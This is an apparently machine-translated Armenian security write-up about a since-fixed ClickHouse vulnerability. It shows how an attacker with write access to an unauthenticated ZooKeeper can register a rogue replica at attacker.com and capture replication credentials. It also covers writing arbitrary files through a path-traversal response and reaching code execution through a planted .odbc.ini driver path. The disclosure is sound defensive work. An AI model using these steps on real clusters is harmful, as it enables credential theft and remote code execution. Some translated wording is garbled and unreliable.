Ինչու՞ պետք է փակ պահել կենդանաբանական այգու վանդակները:

Ինչու՞ պետք է փակ պահել կենդանաբանական այգու վանդակները:

Այս հոդվածը կպատմի ClickHouse կրկնօրինակման արձանագրության շատ կոնկրետ խոցելիության մասին, ինչպես նաև ցույց կտա, թե ինչպես կարելի է ընդլայնել հարձակման մակերեսը:

ClickHouse-ը տվյալների բազա է մեծ ծավալի տվյալների պահպանման համար՝ առավել հաճախ օգտագործելով մեկից ավելի կրկնօրինակներ: Կլաստերավորումը և կրկնօրինակումը ClickHouse-ում կառուցված են վերևում Apache ZooKeeper (ZK) և պահանջում գրելու իրավունքներ:

ZK-ի լռելյայն տեղադրումը չի պահանջում նույնականացում, ուստի հազարավոր ZK սերվերներ, որոնք օգտագործվում են Kafka, Hadoop, ClickHouse-ը կարգավորելու համար, հանրությանը հասանելի են:

Ձեր հարձակման մակերեսը նվազեցնելու համար ZooKeeper-ը տեղադրելիս միշտ պետք է կարգավորեք նույնականացումը և թույլտվությունը:

Իհարկե, կան որոշ 0 օր հիմնված Java deserializations, բայց պատկերացրեք, որ հարձակվողը կարող է կարդալ և գրել ZooKeeper-ին, որն օգտագործվում է ClickHouse-ի կրկնօրինակման համար:

Երբ կարգավորվում է կլաստերի ռեժիմում, ClickHouse-ն աջակցում է բաշխված հարցումներին DDL, անցնելով ZK - նրանց համար թերթում ստեղծվում են հանգույցներ /clickhouse/task_queue/ddl.

Օրինակ, դուք ստեղծում եք հանգույց /clickhouse/task_queue/ddl/query-0001 բովանդակությամբ:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

և դրանից հետո թեստային աղյուսակը կջնջվի host1 և host2 կլաստերային սերվերների վրա: DDL-ն աջակցում է նաև CREATE/ALTER/DROP հարցումների գործարկմանը:

Վախենա՞կ է հնչում: Բայց որտեղի՞ց կարող է հարձակվողը ստանալ սերվերի հասցեներ:

ClickHouse-ի կրկնօրինակում աշխատում է առանձին աղյուսակների մակարդակով, այնպես որ, երբ աղյուսակը ստեղծվում է ZK-ում, նշվում է սերվեր, որը պատասխանատու կլինի մետատվյալների փոխանակման համար կրկնօրինակների հետ: Օրինակ, հարցումը կատարելիս (ZK-ն պետք է կազմաձևվի, chXX - կրկնօրինակի անվանումը, foobar - սեղանի անվանումը):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

հանգույցներ կստեղծվեն սյունակ и տեղեկություններ եվ տվյալներ տվյալների մասին.

Բովանդակություն /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Հնարավո՞ր է միավորել տվյալ կլաստերի տվյալները: Այո, եթե կրկնօրինակման պորտը (TCP/9009) սերվերի վրա chXX-address firewall-ը չի փակվի, և կրկնօրինակման համար վավերացումը չի կազմաձևվի: Ինչպե՞ս շրջանցել նույնականացումը:

Հարձակվողը կարող է նոր կրկնօրինակ ստեղծել ZK-ում՝ պարզապես պատճենելով բովանդակությունը /clickhouse/tables/01-01/foobar/replicas/chXX և փոխելով իմաստը host.

Բովանդակություն /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Այնուհետև դուք պետք է մյուս կրկնօրինակներին ասեք, որ հարձակվողի սերվերի վրա կա տվյալների նոր բլոկ, որը նրանք պետք է վերցնեն. ZK-ում ստեղծվում է հանգույց: /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX միապաղաղ աճող հաշվիչը, որը պետք է ավելի մեծ լինի, քան վերջինը իրադարձությունների մատյանում).

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

որտեղ source_replica — նախորդ քայլում ստեղծված հարձակվողի կրկնօրինակի անունը, block_id - տվյալների բլոկի նույնացուցիչ, ստանալ - «ստանալ արգելափակում» հրամանը (և այստեղ կան հրամաններ այլ գործողությունների համար).

Հաջորդը, յուրաքանչյուր կրկնօրինակը կարդում է նոր իրադարձություն գրանցամատյանում և գնում է հարձակվողի կողմից վերահսկվող սերվեր՝ տվյալների բլոկ ստանալու համար (կրկնօրինակման արձանագրությունը երկուական է, աշխատում է HTTP-ի վերևում): Սերվեր attacker.com կստանան հարցումներ.

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

որտեղ XXX-ը կրկնօրինակման վավերացման տվյալն է: Որոշ դեպքերում սա կարող է լինել հաշիվ, որը մուտք ունի տվյալների բազա հիմնական ClickHouse արձանագրության և HTTP արձանագրության միջոցով: Ինչպես տեսաք, հարձակման մակերեսը դառնում է չափազանց մեծ, քանի որ ZooKeeper-ը, որն օգտագործվում էր կրկնօրինակման համար, մնաց առանց նույնականացման կազմաձևման:

Դիտարկենք ռեպլիկայից տվյալների բլոկ ստանալու գործառույթը, գրված է լիակատար վստահությամբ, որ բոլոր կրկնօրինակները գտնվում են պատշաճ հսկողության տակ և նրանց միջև վստահություն կա։

Ինչու՞ պետք է փակ պահել կենդանաբանական այգու վանդակները:
վերարտադրման մշակման կոդը

Ֆունկցիան կարդում է ֆայլերի ցանկը, այնուհետև դրանց անվանումները, չափերը, բովանդակությունը, այնուհետև գրում դրանք ֆայլային համակարգում: Արժե առանձին նկարագրել, թե ինչպես են տվյալները պահվում ֆայլային համակարգում:

Կան մի քանի ենթագրքեր /var/lib/clickhouse (կանխադրված պահեստավորման գրացուցակը կազմաձևման ֆայլից):

դրոշները - գրացուցակ ձայնագրման համար դրոշներ, օգտագործվում է տվյալների կորստից հետո վերականգնման մեջ;
tmp — ժամանակավոր ֆայլեր պահելու գրացուցակ;
օգտվողի_ֆայլեր — հարցումներում ֆայլերի հետ գործառնությունները սահմանափակվում են այս գրացուցակով (INTO OUTFILE և այլն);
տեղեկություններ եվ տվյալներ տվյալների մասին — sql ֆայլեր աղյուսակի նկարագրություններով;
preprocessed_configs - մշակված ածանցյալ կազմաձևման ֆայլերը /etc/clickhouse-server;
տվյալներ - փաստացի գրացուցակը ինքնին տվյալների հետ, այս դեպքում յուրաքանչյուր տվյալների բազայի համար այստեղ պարզապես ստեղծվում է առանձին ենթացանց (օրինակ /var/lib/clickhouse/data/default).

Յուրաքանչյուր աղյուսակի համար տվյալների բազայի գրացուցակում ստեղծվում է ենթատեղեկատու: Յուրաքանչյուր սյունակ առանձին ֆայլ է՝ կախված նրանից շարժիչի ձևաչափը. Օրինակ սեղանի համար foobarհարձակվողի կողմից ստեղծված, կստեղծվեն հետևյալ ֆայլերը.

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replica-ն ակնկալում է ստանալ նույն անուններով ֆայլեր տվյալների բլոկի մշակման ժամանակ և ոչ մի կերպ չի վավերացնում դրանք:

Ուշադիր ընթերցողը հավանաբար արդեն լսել է ֆունկցիայի մեջ file_name-ի ոչ անվտանգ միացման մասին WriteBufferFromFile. Այո, սա թույլ է տալիս հարձակվողին կամայական բովանդակություն գրել FS-ի ցանկացած ֆայլի վրա, որն ունի օգտվողի իրավունքներ clickhouse. Դա անելու համար հարձակվողի կողմից վերահսկվող կրկնօրինակը պետք է վերադարձնի հարցմանը հետևյալ պատասխանը (տողերի ընդմիջումները ավելացվել են հասկանալու համար).

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

և միացումից հետո ../../../../../../../../../tmp/pwned ֆայլը կգրվի /tmp/pwned բովանդակությամբ hellofromzookeeper.

Կան մի քանի տարբերակներ՝ ֆայլերը գրելու հնարավորությունը հեռավոր կոդի կատարման (RCE) վերածելու համար։

Արտաքին բառարաններ RCE-ում

Ավելի հին տարբերակներում ClickHouse-ի կարգավորումներով գրացուցակը պահվում էր օգտվողի իրավունքներով clickhouse լռելյայն. Կարգավորումների ֆայլերը XML ֆայլեր են, որոնք ծառայությունը կարդում է գործարկման ժամանակ, այնուհետև պահում է քեշը /var/lib/clickhouse/preprocessed_configs. Երբ փոփոխություններ են տեղի ունենում, դրանք վերընթերցվում են: Եթե ​​դուք ունեք մուտք դեպի /etc/clickhouse-server հարձակվողը կարող է ստեղծել իր սեփականը արտաքին բառարան գործարկվող տիպը և այնուհետև գործարկեք կամայական կոդը: ClickHouse-ի ընթացիկ տարբերակները լռելյայն իրավունքներ չեն տրամադրում, բայց եթե սերվերը աստիճանաբար թարմացվի, այդպիսի իրավունքները կարող են մնալ: Եթե ​​դուք աջակցում եք ClickHouse կլաստերին, ստուգեք կարգավորումների գրացուցակի իրավունքները, այն պետք է պատկանի օգտագործողին: root.

ODBC դեպի RCE

Փաթեթ տեղադրելիս ստեղծվում է օգտատեր clickhouse, բայց դրա հիմնական գրացուցակը ստեղծված չէ /nonexistent. Այնուամենայնիվ, երբ օգտագործում եք արտաքին բառարաններ կամ այլ պատճառներով, ադմինիստրատորները ստեղծում են գրացուցակ /nonexistent և տվեք օգտագործողին clickhouse մուտք՝ դրան գրելու համար (SSZB! մոտ. թարգմանիչ).

ClickHouse-ն աջակցում է ODBC- ն և կարող է միանալ այլ տվյալների բազաներին: ODBC-ում դուք կարող եք նշել ուղին դեպի տվյալների բազայի վարորդների գրադարան (.so): ClickHouse-ի հին տարբերակները թույլ էին տալիս դա անել ուղղակիորեն հարցումների մշակման միջոցով, սակայն այժմ միացման տողի ավելի խիստ ստուգում է ավելացվել: odbc-bridge, ուստի այլևս հնարավոր չէ հարցումից նշել վարորդի ուղին: Բայց հարձակվողը կարո՞ղ է գրել տնային գրացուցակ՝ օգտագործելով վերը նկարագրված խոցելիությունը:

Եկեք ստեղծենք ֆայլ ~/.odbc.ini այսպիսի բովանդակությամբ.

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

ապա գործարկման ժամանակ SELECT * FROM odbc('DSN=lalala', 'test', 'test'); գրադարանը կբեռնվի test.so և ստացավ RCE (շնորհակալություն բուգլոկ հուշման համար):

Այս և այլ խոցելիությունները շտկվել են ClickHouse 19.14.3 տարբերակում: Հոգ տանել ձեր ClickHouse-ի և ZooKeepers-ի մասին:

Source: www.habr.com

Добавить комментарий